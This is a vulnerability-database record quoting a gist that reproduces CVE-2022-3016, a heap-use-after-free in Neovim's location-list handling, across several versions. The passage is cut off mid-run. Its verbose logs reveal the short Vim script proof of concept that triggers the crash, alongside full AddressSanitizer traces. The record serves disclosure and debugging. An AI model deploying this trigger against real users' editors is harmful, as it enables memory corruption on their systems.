{"uuid": "086503b3-7acd-40e2-846b-8aa48b83efba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3016", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/02140cabf026067ff224be903b2ed2aa", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 --headless -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3016)\nExecuting:     aunmenu *\nExecuting:     vnoremenu PopUp.Cut                     \"+x\nExecuting:     vnoremenu PopUp.Copy                    \"+y\nExecuting:     anoremenu PopUp.Paste                   \"+gP\nExecuting:     vnoremenu PopUp.Paste                   \"+P\nExecuting:     vnoremenu PopUp.Delete                  \"_x\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\nExecuting:     inoremenu PopUp.Select\\ All             VG\nExecuting:     anoremenu PopUp.-1-                     \nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\nExecuting:   \nExecuting: so poc\nline 0: sourcing \"poc\"\nline 1: com-c -=0 Xn lne\nline 2: let s:bufnr=bufnr()\nline 3: cal setloclist(0,[{'0':0,'':''}])\nline 4: au BufEnter * cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\nline 5: lop\nExecuting BufEnter Autocommands for \"*\"\nautocommand cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\nExecuting: cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\nline 5: unlet! b:keymap_name\nline 6: cal assert_fails('exe\"norm0j\\\"')\nline 6: exe\"norm0j\\\"\nline 6: norm0j^M\nline 6: .ll\nExecuting BufEnter Autocommands for \"*\"\nautocommand cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\nExecuting: cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\nline 7: Xn\nline 7: 0lne\n=================================================================\n==21611==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000001ca8 at pc 0x00000097a26f bp 0x7ffe2933cc00 sp 0x7ffe2933cbf8\nREAD of size 4 at 0x607000001ca8 thread T0\n    #0 0x97a26e in get_next_valid_entry /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2298:29\n    #1 0x979dab in get_nth_valid_entry /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2348:16\n    #2 0x979403 in qf_get_entry /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2406:14\n    #3 0x9675ff in qf_jump_newwin /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2948:12\n    #4 0x96740b in qf_jump /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2912:3\n    #5 0x96d8ba in ex_cnext /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:4606:3\n    #6 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #8 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #9 0xaef0ad in do_ucmd /home/zzw/Desktop/neovim/build/../src/nvim/usercmd.c:1661:9\n    #10 0x7316a4 in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1612:13\n    #11 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #12 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #13 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #14 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #15 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #16 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #18 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #19 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #20 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #21 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #22 0x7ff477148082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #23 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\n0x607000001ca8 is located 24 bytes inside of 72-byte region [0x607000001c90,0x607000001cd8)\nfreed by thread T0 here:\n    #0 0x4df44d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df44d)\n    #1 0x88a2f8 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:130:3\n    #2 0x97c513 in qf_free_items /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3323:7\n    #3 0x97012c in qf_add_entries /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6314:5\n    #4 0x96f94b in set_errorlist /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6657:14\n    #5 0x9728b6 in set_qf_ll_list /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:7256:7\n    #6 0x972716 in f_setloclist /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:7269:5\n    #7 0x6a3ba2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:207:3\n    #8 0x6e6af9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #9 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #10 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #11 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #12 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #13 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #14 0x5bd3c2 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1866:5\n    #15 0x5bf7ac in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1532:10\n    #16 0xb31011 in win_enter_ext /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4789:7\n    #17 0xb3258b in win_enter /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4713:3\n    #18 0xb22456 in win_goto /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4527:3\n    #19 0x97b042 in qf_goto_win_with_ll_file /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2579:3\n    #20 0x97aa82 in qf_jump_to_usable_window /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2679:7\n    #21 0x9798ad in qf_jump_open_window /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2850:9\n    #22 0x9676d4 in qf_jump_newwin /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2964:16\n    #23 0x96740b in qf_jump /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2912:3\n    #24 0x96d4cc in ex_cc /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:4553:3\n    #25 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #26 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #27 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #28 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #29 0x969f8d in qf_view_result /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c\n\npreviously allocated by thread T0 here:\n    #0 0x4df6cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df6cd)\n    #1 0x88a149 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:82:15\n    #2 0x88a27a in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:116:15\n    #3 0x974f2e in qf_add_entry /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:1798:19\n    #4 0x980de7 in qf_add_entry_from_dict /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6268:22\n    #5 0x9701cc in qf_add_entries /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6318:3\n    #6 0x96f94b in set_errorlist /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6657:14\n    #7 0x9728b6 in set_qf_ll_list /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:7256:7\n    #8 0x972716 in f_setloclist /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:7269:5\n    #9 0x6a3ba2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:207:3\n    #10 0x6e6af9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #11 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #12 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #13 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #14 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #15 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #16 0x5bd3c2 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1866:5\n    #17 0x5bf849 in apply_autocmds_retval /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1572:18\n    #18 0x5c4adc in open_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:330:3\n    #19 0x712b48 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2714:24\n    #20 0x96a83a in qf_open_new_cwindow /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3615:9\n    #21 0x96a1cf in ex_copen /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3676:9\n    #22 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #23 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #24 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #25 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #26 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #27 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #28 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #29 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2298:29 in get_next_valid_entry\nShadow bytes around the buggy address:\n  0x0c0e7fff8340: 00 00 00 00 00 00 07 fa fa fa fa fa fd fd fd fd\n  0x0c0e7fff8350: fd fd fd fd fd fd fa fa fa fa fd fd fd fd fd fd\n  0x0c0e7fff8360: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd\n  0x0c0e7fff8370: fd fd fa fa fa fa fd fd fd fd fd fd fd fd fd fa\n  0x0c0e7fff8380: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa\n=>0x0c0e7fff8390: fa fa fd fd fd[fd]fd fd fd fd fd fa fa fa fa fa\n  0x0c0e7fff83a0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fd fd\n  0x0c0e7fff83b0: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd\n  0x0c0e7fff83c0: fd fd fd fd fd fa fa fa fa fa 00 00 00 00 00 00\n  0x0c0e7fff83d0: 00 00 00 04 fa fa fa fa fd fd fd fd fd fd fd fd\n  0x0c0e7fff83e0: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==21611==ABORTING\n\n\n\nCommand:\n./nvim-0.6.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: com-c -=0 Xn lne\n\nline 2: let s:bufnr=bufnr()\n\nline 3: cal setloclist(0,[{'0':0,'':''}])\n\nline 4: au BufEnter * cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\n\nline 5: lop\n\nExecuting BufEnter Autocommands for \"*\"\nautocommand cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\n\nExecuting: cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\n\nline 5: unlet! b:keymap_name\n\nline 6: cal assert_fails('exe\"norm0j\\\"')\n\nline 6: exe\"norm0j\\\"\n\nline 6: norm0j^M\nline 6: .ll\n\nExecuting BufEnter Autocommands for \"*\"\nautocommand cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\n\nExecuting: cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\n\n\nline 7: Xn\n\nline 7: verbose0lne\n=================================================================\n==18661==ERROR: AddressSanitizer: heap-use-after-free on address 0x6070000017e0 at pc 0x000000d2723a bp 0x7ffe1e73ee10 sp 0x7ffe1e73ee08\nREAD of size 4 at 0x6070000017e0 thread T0\n    #0 0xd27239 in get_next_valid_entry /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2283:29\n    #1 0xd26c87 in get_nth_valid_entry /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2335:16\n    #2 0xd25b9e in qf_get_entry /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2393:14\n    #3 0xd0064e in qf_jump_newwin /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2945:12\n    #4 0xd00149 in qf_jump /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2902:3\n    #5 0xd0d499 in ex_cnext /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:4651:3\n    #6 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #7 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #8 0x932c18 in do_ucmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6229:9\n    #9 0x901a8c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1977:5\n    #10 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #11 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #12 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #13 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #14 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #15 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #16 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #17 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #18 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #19 0x7f253f9d1082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x45df4d)\n\n0x6070000017e0 is located 32 bytes inside of 80-byte region [0x6070000017c0,0x607000001810)\nfreed by thread T0 here:\n    #0 0x4d640d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4d640d)\n    #1 0xb5f204 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0xd2b60a in qf_free_items /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3327:7\n    #3 0xd1462d in qf_add_entries /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6292:5\n    #4 0xd137d6 in set_errorlist /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6652:14\n    #5 0x8467a7 in set_qf_ll_list /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:9041:7\n    #6 0x7ff42b in f_setloclist /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:9058:5\n    #7 0x7e52f8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:198:3\n    #8 0x86f0b9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1593:15\n    #9 0x86cc15 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #10 0x887924 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #11 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #12 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #13 0x65c442 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1604:5\n    #14 0x65faad in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1264:10\n    #15 0x10d26f7 in win_enter_ext /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4534:7\n    #16 0x10d4db4 in win_enter /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4464:3\n    #17 0x10b579a in win_goto /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4267:3\n    #18 0xd2917f in qf_goto_win_with_ll_file /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2567:3\n    #19 0xd28465 in qf_jump_to_usable_window /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2667:7\n    #20 0xd2649d in qf_jump_open_window /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2836:9\n    #21 0xd00848 in qf_jump_newwin /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2960:12\n    #22 0xd00149 in qf_jump /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2902:3\n    #23 0xd0cb15 in ex_cc /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:4598:3\n    #24 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #25 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #26 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #27 0xd050d8 in qf_view_result /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3483:3\n    #28 0xbfdb77 in nv_down /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5489:5\n    #29 0xbfbbea in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1164:3\n\npreviously allocated by thread T0 here:\n    #0 0x4d668d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4d668d)\n    #1 0xb5ef62 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xb5f124 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0xd1d32a in qf_add_entry /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:1772:19\n    #4 0xd322f3 in qf_add_entry_from_dict /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6246:22\n    #5 0xd1480c in qf_add_entries /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6296:3\n    #6 0xd137d6 in set_errorlist /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6652:14\n    #7 0x8467a7 in set_qf_ll_list /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:9041:7\n    #8 0x7ff42b in f_setloclist /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:9058:5\n    #9 0x7e52f8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:198:3\n    #10 0x86f0b9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1593:15\n    #11 0x86cc15 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #12 0x887924 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #13 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #14 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #15 0x65c442 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1604:5\n    #16 0x65fbea in apply_autocmds_retval /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1306:18\n    #17 0x665a36 in open_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:312:3\n    #18 0x8b278e in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2739:24\n    #19 0xd062fd in qf_open_new_cwindow /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3631:9\n    #20 0xd056c2 in ex_copen /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3693:9\n    #21 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #22 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #23 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #24 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #25 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #26 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #27 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #28 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #29 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:2283:29 in get_next_valid_entry\nShadow bytes around the buggy address:\n  0x0c0e7fff82a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa\n  0x0c0e7fff82b0: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa\n  0x0c0e7fff82c0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fd fd\n  0x0c0e7fff82d0: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd\n  0x0c0e7fff82e0: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd\n=>0x0c0e7fff82f0: fd fd fd fd fa fa fa fa fd fd fd fd[fd]fd fd fd\n  0x0c0e7fff8300: fd fd fa fa fa fa fd fd fd fd fd fd fd fd fd fd\n  0x0c0e7fff8310: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa\n  0x0c0e7fff8320: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa\n  0x0c0e7fff8330: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fd fd\n  0x0c0e7fff8340: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==18661==ABORTING\n\n\n\nCommand:\n./nvim-0.5.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd!\n\nExecuting: autocmd BufReadCmd term://* nested :if !exists('b:term_title')|call termopen( matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: com-c -=0 Xn lne\n\nline 2: let s:bufnr=bufnr()\n\nline 3: cal setloclist(0,[{'0':0,'':''}])\n\nline 4: au BufEnter * cal setloclist(1,[{'':s:bufnr,'0':0,'t':''},{'bufnr':s:bufnr,'':0,'0':''}],'r')\n\nline 5: lop\n\nExecuting 